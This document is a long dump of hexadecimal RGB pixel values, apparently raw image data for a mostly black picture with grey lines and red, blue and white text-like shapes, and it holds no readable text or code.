+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0050505000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000B0202781515781515060101000000 +0000000000000000000000000000003709096D1313701313330909000000000000000000AC1E1E +EF2929651111000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000520E0EEF2929EF2929EF2929EC2929000000000000000000000000000000 +000000000000430C0CEF2929CE2323000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000004A67866B95C2050709000000729FCF729FCF709DCC +668FBA4B6988151D26000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000527395729FCF +30435800000000000000000000000000000000000000000005070A395068395068030405000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +4A67866B95C2050709000000000000000000000000000000000000000000000000000000000000 +00000005070A39506839506803040500000000000000000000000000000005070A395068395068 +030405000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000527395729FCF304358 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000414141EAEAEA000000494949E2E2E2000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000B5B5B5AEAEAE000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000040404FFFFFF545454000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000160404EF2929EF29290B02020000000000000000000000000B0202AB1D1D +EF2929EF2929EF2929EF2929721414000000000000AC1E1EEF2929651111000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000003F0B0BB82020 +C12121EF2929EC29290000000000000000000000000000000000000000002E0808A51C1C8E1818 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0C1116709CCB3D556F000000000000729FCF729FCF729FCF729FCF729FCF6E99C81A242F000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000527395729FCF304358000000000000000000000000 +0000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000C1116709CCB3D556F000000000000000000 +0000000000000000000000000000000000000000000000000000000B0F13729FCF729FCF05070A +0000000000000000000000000000000B0F13729FCF729FCF05070A000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000527395729FCF304358000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000727272 +B9B9B90000007A7A7AB1B1B1000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000282828FEFEFE3D3D3D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000030303D4D4D4454545000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000160404EF2929 +EF29290B0202000000000000000000000000A51C1CEA28286A12120F03031604049F1B1BEA2828 +200505000000AC1E1EEF2929651111000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000290707EF2929EC2929000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000003C546E709DCC0D1218000000000000 +729FCF729FCF1C27321B26326085AE729FCF5A7DA3000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000527395729FCF3043580000000000000000000000000000000000000000000B0F13729FCF +729FCF05070A000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000003C546E709DCC0D1218000000000000000000000000000000000000000000000000 +0000000000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000 +0B0F13729FCF729FCF05070A000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +527395729FCF304358000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000A3A3A3888888000000ABABAB808080000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000989898CCCCCC000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000D22424EF2929611111AE1E1EE82828E02626540E0E000000 +000000611111CC2323E92828CD2323661212000000000000000000000000611111CC2323E92828 +CD23236612120000000000002D0808EF2929EF2929EF2929EF2929EF2929EF2929CE2323000000 +3C0A0AEF29296F1313000000010000150404150404EF2929580F0F000000AC1E1EEF2929651111 +000000641111EF2929E227272D0808000000380A0AA91D1DD82525EA2828DB2626991A1A120303 +000000000000000000290707EF2929EC29290000000000000000000000000000005A0F0FEF2929 +EF2929EF2929CE2323000000000000000000000000000000000000282828606060282828000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000406086A94C04B6888000000000000000000729FCF729FCF141B2400000019232D +729FCF729FCF0C10150000000000003043576187B0709CCB668FBA405A75040608000000000000 +010102395068638AB46F9BC96891BD52729511171E000000000000527395729FCF304358000000 +304357729FCF6C96C4151E27151E27729FCF729FCF729FCF729FCF729FCF729FCF6289B3000000 +0000000000002E41546188B16F9BCA6289B23144580000000000000000006891BC729FCF2E4054 +5C80A66F9BC95476990D11170000000000000000000000000000000406086A94C04B6888000000 +0000000000001B2531507092678FBB709CCB6992BE496684080C0F000000151E27729FCF729FCF +729FCF729FCF729FCF729FCF6289B3000000151E27729FCF729FCF729FCF729FCF729FCF729FCF +6289B30000000000001B2531507092678FBB709CCB6992BE496684080C0F000000000000000000 +0A0E134763816992BE6E99C75C80A72A3B4C000000000000527395729FCF304358000000304357 +729FCF6C96C4151E27000000010102395068638AB46F9BC96891BD52729511171E000000000000 +000000000000D4D4D4585858000000DCDCDC505050000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000131313F6F6F65A5A5A000000000000343434FFFFFF919191F6F6F6 +858585939393F3F3F39191910000000000002F2F2FADADADE6E6E6F9F9F9D7D7D7646464000000 +000000000000202020FFFFFFFFFFFFFFFFFF545454000000000000000000000000949494C8C8C8 +717171E5E5E5EEEEEE939393030303000000000000000000000000000000000000000000000000 +0000000000000000009C9C9CC3C3C3949494F1F1F1EBEBEB828282000000000000131313F9F9F9 +5D5D5D000000000000000000292929FFFFFF404040000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +D22424EF2929E52727DF2626B92020DB2626691212000000681212EF2929EF2929E12727EF2929 +EF29296F1313000000000000681212EF2929EF2929E12727EF2929EF29296F1313000000220606 +B82020BC2020EF2929EF2929BA2020B820209D1B1B000000911919E227270B0202340909D52424 +EF2929C22121EA2828721414000000AC1E1EEF2929651111430B0BEC2929E828283B0A0A000000 +000000781515EE2929CE2323B11E1EDC2626EF29299E1B1B000000000000000000290707EF2929 +EC2929000000000000000000000000000000440C0CB82020C72222EF2929CE2323000000000000 +0000000000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000002F4256729FCF18222C +000000000000000000729FCF729FCF141B24000000010102709CCB729FCF1E2A37000000354A61 +729FCF6F9BCA5D82AA6C97C4729FCF50709100000000000033475D729FCF6A94C15070915B7FA5 +709CCB1E2A37000000000000527395729FCF304358202C3A719DCD6E9AC91C273300000010161D +587A9F5A7DA3729FCF729FCF597BA1587A9F4B698800000000000032455A729FCF729FCF6B96C3 +729FCF729FCF354A600000000000006891BC729FCF6E9AC9587A9F6993BF729FCF527295000000 +0000000000000000000000002F4256729FCF18222C000000000000000000395068729ECE6289B3 +5476996993BF729FCF4C698900000010161D587A9F5A7DA3729FCF729FCF597BA1587A9F4B6988 +00000010161D587A9F5A7DA3729FCF729FCF597BA1587A9F4B6988000000000000395068729ECE +6289B35476996993BF729FCF4C69890000000000000507096187AF729FCF729FCF6B96C3729FCF +587A9F000000000000527395729FCF304358202C3A719DCD6E9AC91C273300000000000033475D +729FCF6A94C15070915B7FA5709CCB1E2A37000000242424FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000007B7B7B +E4E4E4040404000000000000343434FFFFFF7E7E7E868686FEFEFE9E9E9E676767FFFFFF1B1B1B +000000595959919191575757434343757575FAFAFA4D4D4D000000000000040404202020232323 +FFFFFF545454000000000000000000000000949494F5F5F59D9D9D1D1D1D4D4D4DFCFCFC555555 +0000000000000000000000000000000000000000000000000000000000000000009C9C9CFEFEFE +9E9E9E171717464646F3F3F3636363000000000000ADADADB9B9B9000000000000000000848484 +E1E1E1010101000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000D22424EF2929BC20200B0202000000 +060101210606060101DE2626EF2929671212000000621111EF2929E22727080101060101DE2626 +EF2929671212000000621111EF2929E22727080101000000000000160404EF2929EF29290B0202 +000000000000000000C42222A61C1C010000CB2323D825256010109C1B1BEF2929741414000000 +AC1E1EEF29298C1818E12727EC2929490D0D0000000000000000003C0A0A220606000000000000 +210606EF2929E82828030000000000000000290707EF2929EC2929000000000000000000000000 +000000000000000000430C0CEF2929CE23230000000000000000000000000000000000006C6C6C +FFFFFF6C6C6C0000000000000000000001012B3C4F4D6B8C4B69882534430202030000000F151C +1A25300000000000000000000001016187B0587A9F000000000000000000000000729FCF729FCF +141B240000000000006891BC729FCF2635450406086C97C4729ECE172029000000090D116A94C0 +729FCF141C250000004F6E8F729FCF2A3B4D0000000000000E13190C1116000000000000527395 +729FCF435D796B96C3719DCD23313F0000000000000000000000000B0F13729FCF729FCF05070A +0000000000000000000304056A94C0729FCF3145590000002F4155729FCF6C96C4040607000000 +6891BC729FCF496685000000141C25729FCF729ECE0D13180000000000000000000001016187B0 +587A9F0000000000000000000000001D283410161D00000000000010161C729FCF6E9AC9010202 +0000000000000B0F13729FCF729FCF05070A0000000000000000000000000000000B0F13729FCF +729FCF05070A0000000000000000000000001D283410161D00000000000010161C729FCF6E9AC9 +010202000000314458729FCF6B96C318222C000000090D112D3E51000000000000527395729FCF +435D796B96C3719DCD23313F0000000000000000004F6E8F729FCF2A3B4D0000000000000E1319 +0C11160000000606063030306A6A6AE9E9E9303030737373E0E0E0303030303030000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000060606E6E6E6777777000000000000000000343434 +FFFFFF1313131F1F1FFFFFFF383838010101F9F9F9404040000000000000000000000000000000 +000000AAAAAAA5A5A5000000000000000000000000040404FFFFFF545454000000000000000000 +000000949494F4F4F40B0B0B000000000000C2C2C2989898000000000000000000000000000000 +0000000000000000000000000000000000009C9C9CF8F8F80F0F0F000000000000939393D1D1D1 +0000000000004E4E4EFCFCFC181818000000000000DCDCDC858585000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 